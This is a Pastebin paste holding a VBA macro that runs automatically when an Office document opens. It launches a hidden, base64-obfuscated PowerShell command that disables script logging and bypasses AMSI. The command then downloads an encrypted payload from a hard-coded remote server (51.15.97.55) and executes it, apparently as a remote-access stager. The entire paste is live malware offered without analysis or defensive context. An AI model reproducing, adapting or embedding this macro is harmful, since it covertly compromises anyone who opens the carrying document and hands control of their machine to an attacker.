Advertisement
Guest User

Untitled

a guest
May 27th, 2019
155
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.42 KB | None | 0 0
  1. Sub Auto_Open()
  2. NxZA
  3. End Sub
  4.  
  5. Sub AutoOpen()
  6. NxZA
  7. End Sub
  8.  
  9. Sub Document_Open()
  10. NxZA
  11. End Sub
  12.  
  13. Public Function NxZA() As Variant
  14. Dim y As String
  15. y = "powershell -noP -sta -w 1 -enc SQBmACgAJABQAFMAVg"
  16. y = y + "BFAHIAcwBJAG8AbgBUAEEAQgBsAEUALgBQAFMAVgBlAFIAUwBp"
  17. y = y + "AE8ATgAuAE0AYQBqAG8AcgAgAC0AZwBFACAAMwApAHsAJABHAF"
  18. y = y + "AARgA9AFsAcgBlAGYAXQAuAEEAUwBzAGUAbQBCAGwAWQAuAEcA"
  19. y = y + "ZQB0AFQAWQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQ"
  20. y = y + "BnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBV"
  21. y = y + "AHQAaQBsAHMAJwApAC4AIgBHAGUAdABGAEkARQBgAGwARAAiAC"
  22. y = y + "gAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkA"
  23. y = y + "UwBlAHQAdABpAG4AZwBzACcALAAnAE4AJwArACcAbwBuAFAAdQ"
  24. y = y + "BiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApADsASQBmACgAJABH"
  25. y = y + "AFAARgApAHsAJABHAFAAQwA9ACQARwBQAEYALgBHAGUAVABWAE"
  26. y = y + "EATABVAGUAKAAkAE4AVQBMAGwAKQA7AEkAZgAoACQARwBQAEMA"
  27. y = y + "WwAnAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZw"
  28. y = y + "BnAGkAbgBnACcAXQApAHsAJABHAFAAQwBbACcAUwBjAHIAaQBw"
  29. y = y + "AHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAF"
  30. y = y + "sAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwA"
  31. y = y + "bwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAwADsAJABHAFAAQw"
  32. y = y + "BbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBn"
  33. y = y + "AGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAH"
  34. y = y + "AAdABCAGwAbwBjAGsASQBuAHYAbwBjAGEAdABpAG8AbgBMAG8A"
  35. y = y + "ZwBnAGkAbgBnACcAXQA9ADAAfQAkAFYAYQBsAD0AWwBDAG8ATA"
  36. y = y + "BMAGUAQwB0AEkATwBuAHMALgBHAEUATgBFAHIAaQBjAC4ARABJ"
  37. y = y + "AEMAdABpAG8AbgBBAFIAeQBbAFMAdAByAGkATgBHACwAUwB5AF"
  38. y = y + "MAdABlAG0ALgBPAGIAagBFAGMAdABdAF0AOgA6AG4ARQB3ACgA"
  39. y = y + "KQA7ACQAVgBBAEwALgBBAEQAZAAoACcARQBuAGEAYgBsAGUAUw"
  40. y = y + "BjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBu"
  41. y = y + "AGcAJwAsADAAKQA7ACQAdgBhAGwALgBBAGQARAAoACcARQBuAG"
  42. y = y + "EAYgBsAGUAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAEkAbgB2AG8A"
  43. y = y + "YwBhAHQAaQBvAG4ATABvAGcAZwBpAG4AZwAnACwAMAApADsAJA"
  44. y = y + "BHAFAAQwBbACcASABLAEUAWQBfAEwATwBDAEEATABfAE0AQQBD"
  45. y = y + "AEgASQBOAEUAXABTAG8AZgB0AHcAYQByAGUAXABQAG8AbABpAG"
  46. y = y + "MAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQA"
  47. y = y + "bwB3AHMAXABQAG8AdwBlAHIAUwBoAGUAbABsAFwAUwBjAHIAaQ"
  48. y = y + "BwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBd"
  49. y = y + "AD0AJABWAEEAbAB9AEUATABzAEUAewBbAFMAYwByAGkAcABUAE"
  50. y = y + "IATABPAEMAawBdAC4AIgBHAGUAVABGAGkARQBgAEwAZAAiACgA"
  51. y = y + "JwBzAGkAZwBuAGEAdAB1AHIAZQBzACcALAAnAE4AJwArACcAbw"
  52. y = y + "BuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4AUwBF"
  53. y = y + "AHQAVgBBAEwAVQBlACgAJABOAHUAbABsACwAKABOAEUAdwAtAE"
  54. y = y + "8AYgBKAGUAQwB0ACAAQwBPAGwAbABFAEMAVABpAG8ATgBzAC4A"
  55. y = y + "RwBFAE4ARQByAGkAQwAuAEgAYQBzAEgAUwBFAFQAWwBTAHQAcg"
  56. y = y + "BJAE4AZwBdACkAKQB9AFsAUgBlAGYAXQAuAEEAcwBzAEUATQBC"
  57. y = y + "AEwAeQAuAEcARQB0AFQAeQBQAGUAKAAnAFMAeQBzAHQAZQBtAC"
  58. y = y + "4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQA"
  59. y = y + "aQBvAG4ALgBBAG0AcwBpAFUAdABpAGwAcwAnACkAfAA/AHsAJA"
  60. y = y + "BfAH0AfAAlAHsAJABfAC4ARwBFAHQARgBJAGUAbABEACgAJwBh"
  61. y = y + "AG0AcwBpAEkAbgBpAHQARgBhAGkAbABlAGQAJwAsACcATgBvAG"
  62. y = y + "4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAGUA"
  63. y = y + "dABWAGEATAB1AGUAKAAkAE4AdQBsAEwALAAkAFQAUgBVAGUAKQ"
  64. y = y + "B9ADsAfQA7AFsAUwBZAFMAdABlAE0ALgBOAGUAVAAuAFMARQBS"
  65. y = y + "AFYASQBjAEUAUABPAGkAbgB0AE0AYQBuAGEARwBFAHIAXQA6AD"
  66. y = y + "oARQB4AFAAZQBjAFQAMQAwADAAQwBPAE4AVABpAE4AdQBFAD0A"
  67. y = y + "MAA7ACQAdwBjAD0ATgBlAFcALQBPAEIAagBlAGMAVAAgAFMAWQ"
  68. y = y + "BzAHQAZQBNAC4ATgBFAFQALgBXAGUAYgBDAGwASQBFAE4AdAA7"
  69. y = y + "ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAG"
  70. y = y + "kAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYA"
  71. y = y + "NAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOg"
  72. y = y + "AxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAk"
  73. y = y + "AHcAQwAuAEgAZQBhAEQAZQBSAHMALgBBAEQAZAAoACcAVQBzAG"
  74. y = y + "UAcgAtAEEAZwBlAG4AdAAnACwAJAB1ACkAOwAkAFcAYwAuAFAA"
  75. y = y + "cgBvAHgAWQA9AFsAUwB5AFMAdABlAG0ALgBOAGUAVAAuAFcARQ"
  76. y = y + "BiAFIARQBxAHUARQBTAFQAXQA6ADoARABFAGYAQQBVAGwAVABX"
  77. y = y + "AEUAYgBQAFIATwB4AHkAOwAkAHcAQwAuAFAAUgBPAFgAWQAuAE"
  78. y = y + "MAUgBFAEQARQBuAHQAaQBBAGwAUwAgAD0AIABbAFMAWQBTAHQA"
  79. y = y + "RQBNAC4ATgBlAFQALgBDAFIAZQBkAEUAbgBUAEkAQQBMAEMAQQ"
  80. y = y + "BDAEgAZQBdADoAOgBEAGUAZgBBAHUAbAB0AE4ARQB0AHcAbwBS"
  81. y = y + "AGsAQwBSAGUARABlAG4AdABJAGEAbABTADsAJABTAGMAcgBpAH"
  82. y = y + "AAdAA6AFAAcgBvAHgAeQAgAD0AIAAkAHcAYwAuAFAAcgBvAHgA"
  83. y = y + "eQA7ACQASwA9AFsAUwB5AHMAVABFAE0ALgBUAGUAWAB0AC4ARQ"
  84. y = y + "BOAGMAbwBEAGkATgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQBU"
  85. y = y + "AEIAWQB0AEUAcwAoACcAXgBkAHsAUwBKADcANgApAE0AKAB4AF"
  86. y = y + "sAVgBnACUAdwBGADEARABsAEAAfQB6AGUAPQBwAFEAIwB1AG8A"
  87. y = y + "ZgBxACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAFIARw"
  88. y = y + "BzADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8"
  89. y = y + "ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAF"
  90. y = y + "sAJABfACUAJABLAC4AQwBvAFUAbgB0AF0AKQAlADIANQA2ADsA"
  91. y = y + "JABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASg"
  92. y = y + "BdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAo"
  93. y = y + "ACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAF"
  94. y = y + "MAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQA"
  95. y = y + "UwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQ"
  96. y = y + "A7ACQAXwAtAGIAeABvAFIAJABTAFsAKAAkAFMAWwAkAEkAXQAr"
  97. y = y + "ACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAcwBlAH"
  98. y = y + "IAPQAnAGgAdAB0AHAAOgAvAC8ANQAxAC4AMQA1AC4AOQA3AC4A"
  99. y = y + "NQA1ADoAOAAwACcAOwAkAHQAPQAnAC8AYQBkAG0AaQBuAC8AZw"
  100. y = y + "BlAHQALgBwAGgAcAAnADsAJAB3AGMALgBIAEUAQQBEAEUAcgBT"
  101. y = y + "AC4AQQBkAGQAKAAiAEMAbwBvAGsAaQBlACIALAAiAHMAZQBzAH"
  102. y = y + "MAaQBvAG4APQBpAGIANgA2AFcAUwB3AHcAagBpAFoAOQBGADkA"
  103. y = y + "TgBxAEsAZgAxAGoAMgBiAHIAdwB0AHEAbwA9ACIAKQA7ACQAZA"
  104. y = y + "BhAFQAYQA9ACQAVwBDAC4ARABPAHcATgBsAE8AQQBkAEQAQQBU"
  105. y = y + "AGEAKAAkAFMAZQBSACsAJAB0ACkAOwAkAGkAVgA9ACQAZABBAH"
  106. y = y + "QAYQBbADAALgAuADMAXQA7ACQAZABhAFQAYQA9ACQARABhAFQA"
  107. y = y + "QQBbADQALgAuACQARABhAHQAQQAuAGwARQBuAGcAVABIAF0AOw"
  108. y = y + "AtAEoAbwBpAG4AWwBDAEgAQQByAFsAXQBdACgAJgAgACQAUgAg"
  109. y = y + "ACQARABBAFQAQQAgACgAJABJAFYAKwAkAEsAKQApAHwASQBFAF"
  110. y = y + "gA"
  111. Const HIDDEN_WINDOW = 0
  112. strComputer = "."
  113. Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
  114. Set objStartup = objWMIService.Get("Win32_ProcessStartup")
  115. Set objConfig = objStartup.SpawnInstance_
  116. objConfig.ShowWindow = HIDDEN_WINDOW
  117. Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
  118. objProcess.Create y, Null, objConfig, intProcessID
  119. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement